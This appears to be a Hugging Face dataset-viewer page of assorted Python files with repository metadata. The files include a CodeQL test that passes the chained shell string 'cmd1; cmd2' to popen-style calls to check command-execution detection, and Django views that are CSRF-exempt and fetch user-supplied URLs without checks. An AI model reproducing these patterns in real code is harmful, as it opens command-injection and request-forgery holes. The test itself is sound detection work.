xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

fceac12585afae9e5a31f7ec57df0118128731ef

22

py

Python

apps/beatitud_annotate/models/__init__.py

beatitud/beatitud-back

32de6c33ec5d70e35bf76c38bedc73c5b2c3e719

[ "MIT" ]

null

apps/beatitud_annotate/models/__init__.py

beatitud/beatitud-back

32de6c33ec5d70e35bf76c38bedc73c5b2c3e719

[ "MIT" ]

null

apps/beatitud_annotate/models/__init__.py

beatitud/beatitud-back

32de6c33ec5d70e35bf76c38bedc73c5b2c3e719

[ "MIT" ]

null

from .vatican import *

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py

Python

resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py

hipnusleo/Laserjet

f53e0b740f48f2feb0c0bb285ec6728b313b4ccc

[ "Apache-2.0" ]

null

resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py

hipnusleo/Laserjet

f53e0b740f48f2feb0c0bb285ec6728b313b4ccc

[ "Apache-2.0" ]

null

resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py

hipnusleo/Laserjet

f53e0b740f48f2feb0c0bb285ec6728b313b4ccc

[ "Apache-2.0" ]

null

from distutils.core import setup import snip_basic_verify1 setup( packages=['snip_basic_verify1'], ext_modules=[snip_basic_verify1.ffi.verifier.get_extension()])

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py

Python

python/ql/test/experimental/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py

vadi2/codeql

a806a4f08696d241ab295a286999251b56a6860c

[ "MIT" ]

4,036

2020-04-29T00:09:57.000Z

2022-03-31T14:16:38.000Z

python/ql/test/experimental/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py

vadi2/codeql

a806a4f08696d241ab295a286999251b56a6860c

[ "MIT" ]

2,970

2020-04-28T17:24:18.000Z

2022-03-31T22:40:46.000Z

python/ql/test/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py

ScriptBox99/github-codeql

2ecf0d3264db8fb4904b2056964da469372a235c

[ "MIT" ]

794

2020-04-29T00:28:25.000Z

2022-03-30T08:21:46.000Z

######################################## import os os.popen2("cmd1; cmd2") # $getCommand="cmd1; cmd2" os.popen3("cmd1; cmd2") # $getCommand="cmd1; cmd2" os.popen4("cmd1; cmd2") # $getCommand="cmd1; cmd2" os.popen2(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" os.popen3(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" os.popen4(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" # os.popen does not support keyword arguments, so this is a TypeError os.popen(cmd="cmd1; cmd2") ######################################## import platform platform.popen("cmd1; cmd2") # $getCommand="cmd1; cmd2" platform.popen(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" ######################################## # popen2 was deprecated in Python 2.6, but still available in Python 2.7 import popen2 popen2.popen2("cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.popen3("cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.popen4("cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.Popen3("cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.Popen4("cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.popen2(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.popen3(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.popen4(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.Popen3(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2" popen2.Popen4(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2"

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py

Python

catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py

henryplas/appstaterobotics

017fe57d2deec1bd3b400bae83c16194dc874af6

[ "MIT" ]

null

catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py

henryplas/appstaterobotics

017fe57d2deec1bd3b400bae83c16194dc874af6

[ "MIT" ]

null

catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py

henryplas/appstaterobotics

017fe57d2deec1bd3b400bae83c16194dc874af6

[ "MIT" ]

1

2019-09-13T22:09:01.000Z

from ._Dock import *

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py

Python

utils/__init__.py

lstomberg/BHNVGCBalanceChecker

058d9a56e3c875f22176f96b46c9fd02529da600

[ "Apache-2.0" ]

1

2021-08-19T07:14:27.000Z

utils/__init__.py

lstomberg/BHNVGCBalanceChecker

058d9a56e3c875f22176f96b46c9fd02529da600

[ "Apache-2.0" ]

null

utils/__init__.py

lstomberg/BHNVGCBalanceChecker

058d9a56e3c875f22176f96b46c9fd02529da600

[ "Apache-2.0" ]

null

from cards import VisaGiftCard

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py

Python

devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py

frozaidi/RobotSystems

e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e

[ "BSD-3-Clause" ]

null

devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py

frozaidi/RobotSystems

e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e

[ "BSD-3-Clause" ]

null

devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py

frozaidi/RobotSystems

e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e

[ "BSD-3-Clause" ]

null

from ._Grasp import * from ._Pose import * from ._Rotate import *

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py

Python

cloud_provider/__init__.py

mridhul/minion-manager

7301ac6360a82dfdd27e682d070c34e90f080149

[ "Apache-2.0" ]

54

2018-07-06T18:06:54.000Z

2019-06-03T15:21:01.000Z

cloud_provider/__init__.py

mridhul/minion-manager

7301ac6360a82dfdd27e682d070c34e90f080149

[ "Apache-2.0" ]

28

2018-07-05T23:32:22.000Z

2019-07-19T17:19:26.000Z

cloud_provider/__init__.py

mridhul/minion-manager

7301ac6360a82dfdd27e682d070c34e90f080149

[ "Apache-2.0" ]

15

2018-07-28T04:51:01.000Z

2019-07-30T14:50:25.000Z

from base import MinionManagerBase

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bf55529015d36538f2755b8f6635f293c51ad596

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py

Python

8_kyu/Grasshopper_Terminal_game_combat_function.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

8_kyu/Grasshopper_Terminal_game_combat_function.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

8_kyu/Grasshopper_Terminal_game_combat_function.py

UlrichBerntien/Codewars-Katas

bbd025e67aa352d313564d3862db19fffa39f552

[ "MIT" ]

null

def combat(health, damage): return max( health - damage, 0 )

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44a667e8d49d08590551417c45f0d3b76c2fe0aa

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py

Python

dashtable/html2data/__init__.py

r-dgreen/DashTable

744cfb6a717fa75a8092c83ebcd49b2668023681

[ "MIT" ]

35

2017-04-25T04:37:16.000Z

2022-02-23T05:44:37.000Z

dashtable/html2data/__init__.py

r-dgreen/DashTable

744cfb6a717fa75a8092c83ebcd49b2668023681

[ "MIT" ]

14

2016-12-11T12:00:48.000Z

2021-06-13T06:52:09.000Z

dashtable/html2data/__init__.py

r-dgreen/DashTable

744cfb6a717fa75a8092c83ebcd49b2668023681

[ "MIT" ]

11

2017-04-05T14:10:16.000Z

2022-02-14T16:32:18.000Z

from .html2data import html2data

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7816c18f8b4a9710fb2c6701f796cd8122278c75

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py

Python

dalloriam/datahose/__init__.py

dalloriam/python-stdlib

2ce4ebf4545e2ce9c74ef1f2735929f0202598b5

[ "MIT" ]

null

dalloriam/datahose/__init__.py

dalloriam/python-stdlib

2ce4ebf4545e2ce9c74ef1f2735929f0202598b5

[ "MIT" ]

2

2019-02-10T16:25:58.000Z

2019-03-13T01:40:15.000Z

dalloriam/datahose/__init__.py

dalloriam/python-stdlib

2ce4ebf4545e2ce9c74ef1f2735929f0202598b5

[ "MIT" ]

null

from .client import DatahoseClient

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785de91c887db0ab68ad3f34f6f0f2b1499c8b53

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py

Python

venv/lib/python3.8/site-packages/parso/parser.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/parso/parser.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

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2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/parso/parser.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/89/72/b1/9ee4c3aae6a7825bcf937a19e22b82cf2547862a0f25a536128cdec528

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787dc6e8612b58e6a172216679307ae27b52baba

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py

Python

MachineLearning/hw5/utils.py

ChoKyuWon/SchoolProjects

71a5decefc85ae941ba2d537c4507ba8e615cc34

[ "MIT" ]

null

MachineLearning/hw5/utils.py

ChoKyuWon/SchoolProjects

71a5decefc85ae941ba2d537c4507ba8e615cc34

[ "MIT" ]

null

MachineLearning/hw5/utils.py

ChoKyuWon/SchoolProjects

71a5decefc85ae941ba2d537c4507ba8e615cc34

[ "MIT" ]

null

import os import numpy as np def load_mnist(data_path): mnist_path = os.path.join(data_path, 'mnist') x_train = np.load(os.path.join(mnist_path, 'mnist_train_x.npy')) y_train = np.load(os.path.join(mnist_path, 'mnist_train_y.npy')) x_test = np.load(os.path.join(mnist_path, 'mnist_test_x.npy')) y_test = np.load(os.path.join(mnist_path, 'mnist_test_y.npy')) x_train = x_train.reshape(len(x_train), 1, 28, 28) x_test = x_test.reshape(len(x_test), 1, 28, 28) # Y as one-hot y_train = np.eye(10)[y_train] y_test = np.eye(10)[y_test] return x_train, y_train, x_test, y_test def load_small_mnist(data_path): mnist_path = os.path.join(data_path, 'mnist') x_train = np.load(os.path.join(mnist_path, 'mnist_small_train_x.npy')) y_train = np.load(os.path.join(mnist_path, 'mnist_small_train_y.npy')) x_test = np.load(os.path.join(mnist_path, 'mnist_small_test_x.npy')) y_test = np.load(os.path.join(mnist_path, 'mnist_small_test_y.npy')) x_train = x_train.reshape(len(x_train), 1, 28, 28) x_test = x_test.reshape(len(x_test), 1, 28, 28) # Y as one-hot y_train = np.eye(5)[y_train] y_test = np.eye(5)[y_test] return x_train, y_train, x_test, y_test

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py

Python

accounts/serializers/__init__.py

Selfnet/sipam

32d7fde288cf7200cde170eadbd6b3541fa730fe

[ "Apache-2.0" ]

2

2020-04-19T20:00:32.000Z

2022-01-01T21:00:06.000Z

accounts/serializers/__init__.py

Selfnet/sipam

32d7fde288cf7200cde170eadbd6b3541fa730fe

[ "Apache-2.0" ]

7

2020-06-05T22:41:24.000Z

2022-02-28T01:42:45.000Z

accounts/serializers/__init__.py

Selfnet/sipam

32d7fde288cf7200cde170eadbd6b3541fa730fe

[ "Apache-2.0" ]

null

from .token import TokenSerializer

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py

Python

capsul/qt_gui/widgets/__init__.py

servoz/capsul

2d72228c096f1c43ecfca7f3651b353dc35e209e

[ "CECILL-B" ]

null

capsul/qt_gui/widgets/__init__.py

servoz/capsul

2d72228c096f1c43ecfca7f3651b353dc35e209e

[ "CECILL-B" ]

null

capsul/qt_gui/widgets/__init__.py

servoz/capsul

2d72228c096f1c43ecfca7f3651b353dc35e209e

[ "CECILL-B" ]

null

# -*- coding: utf-8 -*- from .pipeline_developper_view import PipelineDeveloperView from .pipeline_user_view import PipelineUserView from .links_debugger import CapsulLinkDebuggerView # deprecated. Imported for compatibility from .pipeline_developper_view import PipelineDevelopperView

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15499829413e42cba8104416aba688cb1c1e30ad

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py

Python

depsland/setup/bat_2_exe/__init__.py

likianta/depsland

94a8ed7f8a1d3e8e5baafeb2329e30266b52c037

[ "MIT" ]

null

depsland/setup/bat_2_exe/__init__.py

likianta/depsland

94a8ed7f8a1d3e8e5baafeb2329e30266b52c037

[ "MIT" ]

null

depsland/setup/bat_2_exe/__init__.py

likianta/depsland

94a8ed7f8a1d3e8e5baafeb2329e30266b52c037

[ "MIT" ]

null

from .bat_2_exe import bat_2_exe from .png_2_ico import png_2_ico

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15669e3d04568cf20244d2756537d5f5f53ade6c

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py

Python

presalytics_story/models/__init__.py

presalytics/story-python-client

48ac7830b85d65b94a9f6bbfc0c7ee8344327084

[ "MIT" ]

null

presalytics_story/models/__init__.py

presalytics/story-python-client

48ac7830b85d65b94a9f6bbfc0c7ee8344327084

[ "MIT" ]

null

presalytics_story/models/__init__.py

presalytics/story-python-client

48ac7830b85d65b94a9f6bbfc0c7ee8344327084

[ "MIT" ]

null

# coding: utf-8 # flake8: noqa """ Communcations No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: 0.1 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import # import models into model package from presalytics_story.models.base_model import BaseModel from presalytics_story.models.ooxml_document import OoxmlDocument from presalytics_story.models.ooxml_document_all_of import OoxmlDocumentAllOf from presalytics_story.models.outline import Outline from presalytics_story.models.permission_type import PermissionType from presalytics_story.models.permission_type_all_of import PermissionTypeAllOf from presalytics_story.models.problem_detail import ProblemDetail from presalytics_story.models.story import Story from presalytics_story.models.story_all_of import StoryAllOf from presalytics_story.models.story_collaborator import StoryCollaborator from presalytics_story.models.story_collaborator_all_of import StoryCollaboratorAllOf from presalytics_story.models.story_outline_history import StoryOutlineHistory from presalytics_story.models.story_outline_history_all_of import StoryOutlineHistoryAllOf

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1597772c6e83854d8ef1f4215a80a3bead638cb2

14,489

py

Python

app/decaf_views.py

aroranipun04/CloudCV-Old

c17f5be8a221532c77d413b6afc6bd0be5e4f788

[ "MIT" ]

11

2016-02-29T21:12:58.000Z

2016-07-06T22:29:22.000Z

app/decaf_views.py

aroranipun04/CloudCV-Old

c17f5be8a221532c77d413b6afc6bd0be5e4f788

[ "MIT" ]

9

2016-03-04T15:51:34.000Z

2016-05-29T10:28:02.000Z

app/decaf_views.py

aroranipun04/CloudCV-Old

c17f5be8a221532c77d413b6afc6bd0be5e4f788

[ "MIT" ]

16

2016-02-23T03:22:02.000Z

2016-07-09T18:46:34.000Z

__author__ = 'dexter' from os.path import splitext, basename from urlparse import urlparse from querystring_parser import parser from PIL import Image from django.views.generic import CreateView from django.views.decorators.csrf import csrf_exempt from app.models import Picture, Decaf, Decafmodel import app.conf as conf from .response import JSONResponse, response_mimetype from celeryTasks.webTasks.decafTask import decafImages from cloudcv17 import config import time import os import json import traceback import shortuuid import requests import redis import re redis_obj = redis.StrictRedis(host=config.REDIS_HOST, port=6379, db=0) ps_obj = redis_obj.pubsub() decaf_channel_name = 'decaf_server_queue' IMAGEFOLDER = '/srv/share/cloudcv/jobs/' DEMO_IMAGE_PATH = '/srv/share/cloudcv/jobs/demo' def log_to_terminal(message, socketid): redis_obj.publish('chat', json.dumps({'error': str(message), 'socketid': str(socketid)})) def decaf_wrapper_local(src_path, output_path, socketid, result_path, single_file_name='', modelname=''): try: src_path = os.path.join(src_path, single_file_name) if os.path.isdir(src_path): result_url = urlparse(result_path).path result_path = os.path.join(result_url, 'results') else: result_url = os.path.dirname(urlparse(result_path).path) result_path = os.path.join(result_url, 'results') decafImages.delay(src_path, socketid, output_path, result_path) except: log_to_terminal(str(traceback.format_exc()), socketid) class DecafCreateView(CreateView): model = Decaf r = None socketid = None fields = "__all__" def getThumbnail(self, image_url_prefix, name): im = Image.open('/var/www/html/cloudcv/fileupload' + image_url_prefix + name) size = 128, 128 im.thumbnail(size, Image.ANTIALIAS) filename, fileext = splitext(basename(name)) file = image_url_prefix + 'thumbnails/' + filename + '.' + fileext im.save('/var/www/html/cloudcv/fileupload' + file) return file count_hits = 0 def form_valid(self, form): self.r = redis.StrictRedis(host='localhost', port=6379, db=0) self.socketid = self.request.POST['socketid-hidden'] try: self.object = form.save() all_files = self.request.FILES.getlist('file') data = {'files': []} except: log_to_terminal(str(traceback.format_exc()), self.socketid) old_save_dir = os.path.dirname(conf.PIC_DIR) folder_name = str(shortuuid.uuid()) save_dir = os.path.join(conf.PIC_DIR, folder_name) output_path = os.path.join(save_dir, 'results') # Make the new directory based on time if not os.path.exists(save_dir): os.makedirs(save_dir) os.makedirs(os.path.join(save_dir, 'results')) if len(all_files) == 1: log_to_terminal(str('Downloading Image...'), self.socketid) else: log_to_terminal(str('Downloading Images...'), self.socketid) for file in all_files: try: a = Picture() tick = time.time() strtick = str(tick).replace('.', '_') fileName, fileExtension = os.path.splitext(file.name) file.name = fileName + strtick + fileExtension a.file.save(file.name, file) file.name = a.file.name imgfile = Image.open(os.path.join(old_save_dir, file.name)) size = (500, 500) imgfile.thumbnail(size, Image.ANTIALIAS) imgfile.save(os.path.join(save_dir, file.name)) thumbPath = os.path.join(folder_name, file.name) data['files'].append({ 'url': conf.PIC_URL + thumbPath, 'name': file.name, 'type': 'image/png', 'thumbnailUrl': conf.PIC_URL + thumbPath, 'size': 0, }) except: log_to_terminal(str(traceback.format_exc()), self.socketid) if len(all_files) == 1: log_to_terminal(str('Processing Image...'), self.socketid) else: log_to_terminal(str('Processing Images...'), self.socketid) time.sleep(.5) # This is for running it locally ie on Godel decaf_wrapper_local(save_dir, output_path, self.socketid, os.path.join(conf.PIC_URL, folder_name)) # This is for posting it on Redis - ie to Rosenblatt # classify_wrapper_redis(job_directory, socketid, result_folder) response = JSONResponse(data, {}, response_mimetype(self.request)) response['Content-Disposition'] = 'inline; filename=files.json' return response def get_context_data(self, **kwargs): context = super(DecafCreateView, self).get_context_data(**kwargs) context['pictures'] = Decaf.objects.all() return context @csrf_exempt def demoDecaf(request): post_dict = parser.parse(request.POST.urlencode()) try: if 'src' not in post_dict: # Run on all images: imgname = '' img_url = os.path.join(os.path.dirname(urlparse(conf.PIC_URL.rstrip('/')).path), 'demo') else: data = {'info': 'Processing'} img_url = post_dict['src'] imgname = basename(urlparse(img_url).path) output_path = os.path.join(conf.LOCAL_DEMO_PIC_DIR, 'results') if not os.path.exists(output_path): os.makedirs(output_path) log_to_terminal('Processing image...', post_dict['socketid']) # This is for running it locally ie on Godel decaf_wrapper_local(conf.LOCAL_DEMO_PIC_DIR, output_path, post_dict['socketid'], img_url, imgname) # This is for posting it on Redis - ie to Rosenblatt # classify_wrapper_redis(image_path, post_dict['socketid'], result_path) data = {'info': 'Completed'} response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response except: data = {'result': str(traceback.format_exc())} response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response def decafDemo(request): post_dict = parser.parse(request.POST.urlencode()) log_to_terminal('Processing Demo Images Now', post_dict['socketid']) if 'src' in post_dict and post_dict['src'] != '': file_name = basename(urlparse(post_dict['src']).path) redis_obj.publish(decaf_channel_name, json.dumps( {'dir': DEMO_IMAGE_PATH, 'flag': '2', 'socketid': post_dict['socketid'], 'demo': 'True', 'filename': file_name})) else: redis_obj.publish(decaf_channel_name, json.dumps( {'dir': DEMO_IMAGE_PATH, 'flag': '2', 'socketid': post_dict['socketid']})) def downloadAndSaveImages(url_list, socketid): try: uuid = shortuuid.uuid() directory = os.path.join(conf.PIC_DIR, str(uuid)) if not os.path.exists(directory): os.mkdir(directory) for url in url_list[""]: try: log_to_terminal(str(url), socketid) file = requests.get(url) file_full_name_raw = basename(urlparse(url).path) file_name_raw, file_extension = os.path.splitext(file_full_name_raw) # First parameter is the replacement, second parameter is your input string file_name = re.sub('[^a-zA-Z0-9]+', '', file_name_raw) f = open(os.path.join(conf.PIC_DIR, str(uuid) + file_name + file_extension), 'wb') f.write(file.content) f.close() imgFile = Image.open(os.path.join(conf.PIC_DIR, str(uuid) + file_name + file_extension)) size = (500, 500) imgFile.thumbnail(size, Image.ANTIALIAS) imgFile.save(os.path.join(conf.PIC_DIR, str(uuid), file_name + file_extension)) log_to_terminal('Saved Image: ' + str(url), socketid) except Exception as e: print str(e) return uuid, directory except: print 'Exception' + str(traceback.format_exc()) @csrf_exempt def decafDropbox(request): post_dict = parser.parse(request.POST.urlencode()) try: if 'urls' not in post_dict: data = {'error': 'NoFileSelected'} else: data = {'info': 'ProcessingImages'} # Download these images. Run Feature Extraction. Post results. uuid, image_path = downloadAndSaveImages(post_dict['urls'], post_dict['socketid']) output_path = os.path.join(image_path, 'results') if not os.path.exists(output_path): os.makedirs(output_path) decaf_wrapper_local(image_path, output_path, post_dict['socketid'], os.path.join(conf.PIC_URL, uuid)) log_to_terminal('Processing Images Now', post_dict['socketid']) response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response except: data = {'result': str(traceback.format_exc())} response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response class DecafModelCreateView(CreateView): model = Decafmodel r = None socketid = None def getThumbnail(self, image_url_prefix, name): im = Image.open('/var/www/html/cloudcv/fileupload' + image_url_prefix + name) size = 128, 128 im.thumbnail(size, Image.ANTIALIAS) filename, fileext = splitext(basename(name)) file = image_url_prefix + 'thumbnails/' + filename + '.' + fileext im.save('/var/www/html/cloudcv/fileupload' + file) return file count_hits = 0 def form_valid(self, form): self.r = redis.StrictRedis(host='localhost', port=6379, db=0) socketid = self. request.POST['socketid-hidden'] modelname = '' if 'model-name' in self.request.POST: modelname = self.request.POST['model-name'] print modelname self.socketid = socketid try: self.object = form.save() all_files = self.request.FILES.getlist('file') data = {'files': []} except: log_to_terminal(str(traceback.format_exc()), self.socketid) old_save_dir = os.path.dirname(conf.PIC_DIR) folder_name = str(shortuuid.uuid()) save_dir = os.path.join(conf.PIC_DIR, folder_name) output_path = os.path.join(save_dir, 'results') # Make the new directory based on time if not os.path.exists(save_dir): os.makedirs(save_dir) os.makedirs(os.path.join(save_dir, 'results')) log_to_terminal(str('SocketID: ' + str(self.socketid)), self.socketid) if len(all_files) == 1: log_to_terminal(str('Downloading Image...'), self.socketid) else: log_to_terminal(str('Downloading Images...'), self.socketid) for file in all_files: try: a = Picture() tick = time.time() strtick = str(tick).replace('.', '_') fileName, fileExtension = os.path.splitext(file.name) file.name = fileName + strtick + fileExtension a.file.save(file.name, file) file.name = a.file.name imgfile = Image.open(os.path.join(old_save_dir, file.name)) size = (500, 500) imgfile.thumbnail(size, Image.ANTIALIAS) imgfile.save(os.path.join(save_dir, file.name)) thumbPath = os.path.join(folder_name, file.name) data['files'].append({ 'url': conf.PIC_URL + thumbPath, 'name': file.name, 'type': 'image/png', 'thumbnailUrl': conf.PIC_URL + thumbPath, 'size': 0, }) except: log_to_terminal(str(traceback.format_exc()), self.socketid) if len(all_files) == 1: log_to_terminal(str('Processing Image...'), self.socketid) else: log_to_terminal(str('Processing Images...'), self.socketid) time.sleep(.5) # This is for running it locally ie on Godel decaf_wrapper_local(save_dir, output_path, socketid, os.path.join( conf.PIC_URL, folder_name), modelname=modelname) # This is for posting it on Redis - ie to Rosenblatt # classify_wrapper_redis(job_directory, socketid, result_folder) response = JSONResponse(data, {}, response_mimetype(self.request)) response['Content-Disposition'] = 'inline; filename=files.json' return response def get_context_data(self, **kwargs): context = super(DecafModelCreateView, self).get_context_data(**kwargs) context['pictures'] = Decaf.objects.all() return context @csrf_exempt def decaf_train(request): post_dict = parser.parse(request.POST.urlencode()) try: if 'urls' not in post_dict: data = {'error': 'NoFileSelected'} else: data = {'info': 'ProcessingImages'} # Download these images. Run Feature Extraction. Post results. uuid, image_path = downloadAndSaveImages(post_dict['urls'], post_dict['socketid']) output_path = os.path.join(image_path, 'results') if not os.path.exists(output_path): os.makedirs(output_path) decaf_wrapper_local(image_path, output_path, post_dict['socketid'], os.path.join(conf.PIC_URL, uuid)) log_to_terminal('Processing Images Now', post_dict['socketid']) response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response except: data = {'result': str(traceback.format_exc())} response = JSONResponse(data, {}, response_mimetype(request)) response['Content-Disposition'] = 'inline; filename=files.json' return response

38.330688

125

0.613983

1,711

14,489

5.023963

0.137931

0.029316

0.03141

0.02792

0.743253

0.723243

0.713239

0.700093

0.691252

0

0.005745

0.267168

14,489

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0

null

0

1

0

null

0

1

0

6

ec8480cb8ffa6c24932c53cc5349abb243139ccf

4,281

py

Python

authors/apps/ratings/tests/test_ratings.py

andela/ah-jumanji-

a304718929936dd4a759d737fb3570d6cc25fb76

[ "BSD-3-Clause" ]

1

2018-12-23T15:31:54.000Z

authors/apps/ratings/tests/test_ratings.py

andela/ah-jumanji-

a304718929936dd4a759d737fb3570d6cc25fb76

[ "BSD-3-Clause" ]

26

2018-11-27T09:13:15.000Z

2021-06-10T20:58:57.000Z

authors/apps/ratings/tests/test_ratings.py

andela/ah-jumanji-

a304718929936dd4a759d737fb3570d6cc25fb76

[ "BSD-3-Clause" ]

2

2019-01-10T22:14:28.000Z

2019-11-04T07:33:43.000Z

from rest_framework.reverse import reverse from rest_framework import status import logging import json # local imports from .test_base import TestBase logger = logging.getLogger(__file__) class TestRatings(TestBase): ''' Ratings test cases ''' def test_post_rating(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.rater_token) response = self.client.post( reverse( 'ratings', kwargs={ "slug": self.slug}), data=self.rating, format='json') self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual( json.loads( response.content.decode('utf-8'))['message'], "Rating added successfully") def test_post_bad_rating(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.rater_token) response = self.client.post( reverse( 'ratings', kwargs={ "slug": self.slug}), data=self.bad_rating, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( json.loads( response.content.decode('utf-8'))['errors']['rating'], ['"10" is not a valid choice.']) def test_article_author_cannot_rate(self): self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.author_token) response = self.client.post( reverse( 'ratings', kwargs={ "slug": self.slug}), data=self.rating, format='json') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) self.assertEqual( json.loads( response.content.decode('utf-8'))['message'], "You cannot rate your own article") def test_get_average_rating(self): self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.author_token) response = self.client.get( reverse( 'ratings', kwargs={ "slug": self.slug }), format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( json.loads( response.content.decode('utf-8'))['rating'], 5.0) def test_delete_rating(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.rater_token) response = self.client.delete( reverse( 'delete_rating', kwargs={ "slug": self.slug, "id": self.id }), format='json') logger.error(response.content) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual( json.loads( response.content.decode('utf-8'))['message'], "Rating removed successfully") def test_article_not_found_rate(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.rater_token) response = self.client.post( reverse( 'ratings', kwargs={ "slug": "not-found"}), data=self.rating, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( json.loads( response.content.decode('utf-8'))['detail'], "Article Not found") def test_delete_rating_not_found(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.rater_token) response = self.client.delete( reverse( 'delete_rating', kwargs={ "slug": self.slug, "id": 12 }), format='json') logger.error(response.content) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( json.loads( response.content.decode('utf-8'))['detail'], "Rating Not found")

33.708661

79

0.543097

413

4,281

5.460048

0.193705

0.062084

0.043459

0.077605

0.773392

0.759202

0.726829

0

0.012173

0.347582

4,281

126

80

33.97619

0.795202

0.007942

0

0.716814

0

0.094811

0

0.123894

1

0.061947

false

0

0.044248

0

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0

null

0

1

0

1

0

null

0

6

ec9a7f12bc9fcc9f6a4bc5f7792d44adf4ba04ca

492

py

Python

fastapi_rss/models/__init__.py

elreydetoda/fastapi_rss

94539937fed408a6918ab45a378e46a6cf179bde

[ "MIT" ]

8

2021-03-23T10:37:12.000Z

2022-02-05T07:47:12.000Z

fastapi_rss/models/__init__.py

elreydetoda/fastapi_rss

94539937fed408a6918ab45a378e46a6cf179bde

[ "MIT" ]

1

2022-03-25T23:26:55.000Z

2022-03-31T19:50:18.000Z

fastapi_rss/models/__init__.py

elreydetoda/fastapi_rss

94539937fed408a6918ab45a378e46a6cf179bde

[ "MIT" ]

3

2021-04-13T06:16:05.000Z

2022-01-13T03:38:33.000Z

# flake8: noqa from fastapi_rss.models.category import Category, CategoryAttrs from fastapi_rss.models.image import Image from fastapi_rss.models.cloud import Cloud, CloudAttrs from fastapi_rss.models.item import Item from fastapi_rss.models.textinput import TextInput from fastapi_rss.models.enclosure import Enclosure, EnclosureAttrs from fastapi_rss.models.guid import GUID, GUIDAttrs from fastapi_rss.models.source import Source, SourceAttrs from fastapi_rss.models.feed import RSSFeed

37.846154

66

0.855691

70

492

5.885714

0.314286

0.240291

0.305825

0.436893

0

0.002242

0.093496

492

12

67

41

0.921525

0.02439

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true

0

1

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1

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null

1

0

null

0

1

0

1

0

1

0

6

ecbb8f9cec5c0dd98bc6295c5693d7756700c836

129

py

Python

app/api/__init__.py

Andrewpqc/URL-shortener

74943b9f1f787e243a32e27eec425eb51f84e65e

[ "MIT" ]

9

2018-07-01T11:19:05.000Z

2021-12-30T03:00:03.000Z

app/api/__init__.py

Andrewpqc/URL-shortener

74943b9f1f787e243a32e27eec425eb51f84e65e

[ "MIT" ]

1

2020-12-09T23:46:04.000Z

app/api/__init__.py

Andrewpqc/URL-shortener

74943b9f1f787e243a32e27eec425eb51f84e65e

[ "MIT" ]

1

2018-06-06T15:10:57.000Z

# coding: utf-8 from flask import Blueprint api=Blueprint("api",__name__) from . import statistics, urlmap, user,authentication

21.5

53

0.782946

17

129

5.705882

0.764706

0.247423

0

0.008772

0.116279

129

6

53

21.5

0.842105

0.100775

0

0.026087

0

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0

false

0

0.666667

0

0.666667

1

0

null

1

0

1

0

null

0

1

0

1

0

6

